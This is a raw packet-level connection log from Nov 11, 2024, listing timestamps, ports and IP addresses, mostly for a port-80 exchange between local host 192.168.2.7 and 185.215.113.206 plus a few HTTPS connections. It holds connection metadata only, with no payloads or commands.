Nov 11, 2024 19:17:53.256494045 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.256499052 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256515026 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256526947 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256536007 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.256546021 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256556988 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.256558895 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256575108 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256580114 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.256597996 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.256604910 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256618023 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256623983 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.256628990 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256639957 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.256644011 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256660938 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.256664038 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256681919 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256685019 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.256695032 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256706953 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256717920 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.256721973 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256740093 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.256753922 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.256808043 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256819963 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256829977 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256840944 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256853104 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256856918 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.256865025 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256882906 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256886005 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.256896019 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256907940 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256910086 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.256920099 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256932974 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256939888 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.256958961 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256972075 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256972075 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.256983995 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.256994009 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257000923 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257020950 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257021904 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257035017 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257045984 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257049084 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257061958 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257074118 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257074118 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257085085 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257097006 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257102966 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257110119 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257122993 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257133007 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257133961 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257145882 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257172108 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257213116 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257230997 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257241964 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257251024 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257253885 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257261992 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257266998 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257275105 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257278919 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257292032 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257294893 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257303953 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257318974 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257338047 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257371902 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257406950 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257474899 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257487059 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257517099 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257644892 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257657051 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257668018 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257679939 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257689953 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257690907 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257705927 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257711887 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257735014 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257740974 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257752895 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257757902 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257766962 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257790089 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257806063 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257817984 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257817984 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257831097 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257843018 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257843971 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257853985 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257854939 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257868052 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257875919 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257879972 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257904053 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257910967 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257920027 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257924080 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257932901 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257946014 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257951975 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257958889 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257972002 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257980108 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.257985115 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.257997990 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258008957 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258013010 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258022070 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258033991 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258044004 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258053064 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258059978 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258068085 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258078098 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258081913 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258095026 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258095026 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258107901 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258112907 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258120060 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258132935 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258135080 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258147001 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258152962 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258161068 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258172989 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258179903 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258184910 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258196115 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258205891 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258208990 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258222103 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258234978 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258240938 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258248091 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258258104 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258285999 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258511066 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258549929 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258553982 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258567095 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258598089 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258636951 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258675098 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258694887 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258707047 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258735895 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258755922 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258778095 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258790016 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258801937 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258814096 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258821964 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258826017 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258838892 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258848906 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258863926 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258894920 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258925915 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258936882 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258948088 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258959055 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258960009 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258970976 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258982897 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.258985043 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.258996010 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259008884 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259015083 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.259033918 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.259051085 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.259078979 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259092093 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259103060 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259115934 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259116888 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.259128094 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259138107 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.259147882 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259160995 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259170055 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.259172916 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259181023 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.259186983 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259197950 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259202003 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.259208918 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259219885 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259232044 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259242058 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259253979 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259255886 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.259265900 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259275913 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.259278059 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259290934 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.259332895 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.259336948 CET	443	49860	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:53.259896040 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259907961 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259919882 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259932041 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259937048 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.259943962 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259958029 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.259962082 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259975910 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259985924 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.259989977 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.259998083 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260010004 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260013103 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.260020971 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.260023117 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260036945 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260055065 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260061026 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.260071039 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260082960 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260092974 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.260093927 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260107040 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260107994 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.260118008 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260129929 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260133982 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.260143995 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260163069 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.260171890 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.260216951 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260229111 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260240078 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260251999 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260262966 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260270119 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.260274887 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260278940 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.260288000 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260299921 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260308981 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.260313988 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260339022 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260344982 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.260350943 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260354996 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.260364056 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260375977 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260384083 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.260387897 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260400057 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260404110 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.260411024 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260422945 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.260423899 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.260447979 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.260472059 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.275707006 CET	443	49849	20.110.205.119	192.168.2.7
Nov 11, 2024 19:17:53.279328108 CET	443	49863	23.101.168.44	192.168.2.7
Nov 11, 2024 19:17:53.279926062 CET	443	49847	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:53.279995918 CET	443	49847	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:53.280044079 CET	49847	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:53.284441948 CET	443	49856	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:53.284507990 CET	443	49856	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:53.284624100 CET	49856	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:53.286863089 CET	443	49849	20.110.205.119	192.168.2.7
Nov 11, 2024 19:17:53.286932945 CET	49849	443	192.168.2.7	20.110.205.119
Nov 11, 2024 19:17:53.287652969 CET	443	49855	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:53.287717104 CET	443	49855	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:53.287775993 CET	49855	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:53.288126945 CET	443	49857	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:53.288181067 CET	443	49857	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:53.288367033 CET	49857	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:53.290229082 CET	49849	443	192.168.2.7	20.110.205.119
Nov 11, 2024 19:17:53.290251017 CET	443	49849	20.110.205.119	192.168.2.7
Nov 11, 2024 19:17:53.321641922 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.321777105 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.338105917 CET	49847	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:53.338105917 CET	49847	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:53.338135004 CET	443	49847	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:53.338149071 CET	443	49847	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:53.340099096 CET	49856	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:53.340125084 CET	443	49856	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:53.341094971 CET	49855	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:53.341104031 CET	443	49855	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:53.342036009 CET	49857	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:53.342082977 CET	443	49857	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:53.348174095 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.348197937 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.348206997 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.348229885 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.348244905 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.348254919 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.348258018 CET	49859	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.348284960 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.348342896 CET	49859	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.348342896 CET	49859	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.348500967 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.348507881 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.348553896 CET	49859	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.348562002 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.348577023 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.348619938 CET	49859	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.349569082 CET	443	49860	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:53.356673002 CET	49859	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.356693983 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.364114046 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:53.364501953 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:53.364531994 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:53.365576982 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:53.365633965 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:53.367325068 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:53.367388964 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:53.367552042 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:53.367559910 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:53.379688978 CET	49868	443	192.168.2.7	204.79.197.219
Nov 11, 2024 19:17:53.379733086 CET	443	49868	204.79.197.219	192.168.2.7
Nov 11, 2024 19:17:53.379841089 CET	49868	443	192.168.2.7	204.79.197.219
Nov 11, 2024 19:17:53.381460905 CET	49868	443	192.168.2.7	204.79.197.219
Nov 11, 2024 19:17:53.381484985 CET	443	49868	204.79.197.219	192.168.2.7
Nov 11, 2024 19:17:53.384644032 CET	49869	443	192.168.2.7	23.33.40.145
Nov 11, 2024 19:17:53.384675980 CET	443	49869	23.33.40.145	192.168.2.7
Nov 11, 2024 19:17:53.384772062 CET	49869	443	192.168.2.7	23.33.40.145
Nov 11, 2024 19:17:53.384985924 CET	49869	443	192.168.2.7	23.33.40.145
Nov 11, 2024 19:17:53.384999037 CET	443	49869	23.33.40.145	192.168.2.7
